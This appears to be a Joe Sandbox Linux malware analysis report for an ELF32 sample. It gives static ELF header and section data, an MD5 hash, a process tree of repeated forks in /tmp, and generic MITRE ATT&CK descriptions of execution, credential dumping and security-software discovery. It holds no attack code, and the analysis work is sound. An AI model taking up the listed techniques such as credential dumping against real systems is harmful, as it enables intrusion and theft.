File Content Preview:	.ELF.....................@.4...........4. ...(...............@...@...........................B...B.................Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	111324
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0x180c0	0x0	0x6	AX	32
.fini	PROGBITS	0x4181a0	0x181a0	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x4181c4	0x181c4	0x2ae4	0x0	0x2	A	4
.ctors	PROGBITS	0x42b000	0x1b000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x42b008	0x1b008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x42b014	0x1b014	0x288	0x0	0x3	WA	4
.bss	NOBITS	0x42b29c	0x1b29c	0xa70	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1b29c	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x1aca8	0x1aca8	6.8939	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1b000	0x42b000	0x42b000	0x29c	0xd0c	2.9373	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

⊘No network behavior found

System Behavior

Analysis Process: MUuRNNXESN PID: 6230, Parent PID: 6125

General

Start time:	07:36:23
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	/tmp/MUuRNNXESN
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6232, Parent PID: 6230

General

Start time:	07:36:23
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6233, Parent PID: 6230

General

Start time:	07:36:23
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6235, Parent PID: 6230

General

Start time:	07:36:23
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6238, Parent PID: 6235

General

Start time:	07:36:23
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6239, Parent PID: 6235

General

Start time:	07:36:23
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6243, Parent PID: 6235

General

Start time:	07:36:23
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6245, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6246, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6247, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6248, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6253, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6254, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6255, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6256, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6261, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6263, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: MUuRNNXESN PID: 6264, Parent PID: 6235

General

Start time:	07:36:24
Start date:	06/08/2022
Path:	/tmp/MUuRNNXESN
Arguments:	n/a
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report MUuRNNXESN

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Analysis Process: MUuRNNXESN PID: 6230, Parent PID: 6125

General

Analysis Process: MUuRNNXESN PID: 6232, Parent PID: 6230

General

Analysis Process: MUuRNNXESN PID: 6233, Parent PID: 6230

General

Analysis Process: MUuRNNXESN PID: 6235, Parent PID: 6230

General

Analysis Process: MUuRNNXESN PID: 6238, Parent PID: 6235

General

Analysis Process: MUuRNNXESN PID: 6239, Parent PID: 6235

General

Analysis Process: MUuRNNXESN PID: 6243, Parent PID: 6235

General

Analysis Process: MUuRNNXESN PID: 6245, Parent PID: 6235

General

Analysis Process: MUuRNNXESN PID: 6246, Parent PID: 6235

General

Analysis Process: MUuRNNXESN PID: 6247, Parent PID: 6235

General

Analysis Process: MUuRNNXESN PID: 6248, Parent PID: 6235

General

Analysis Process: MUuRNNXESN PID: 6253, Parent PID: 6235

Linux Analysis Report
MUuRNNXESN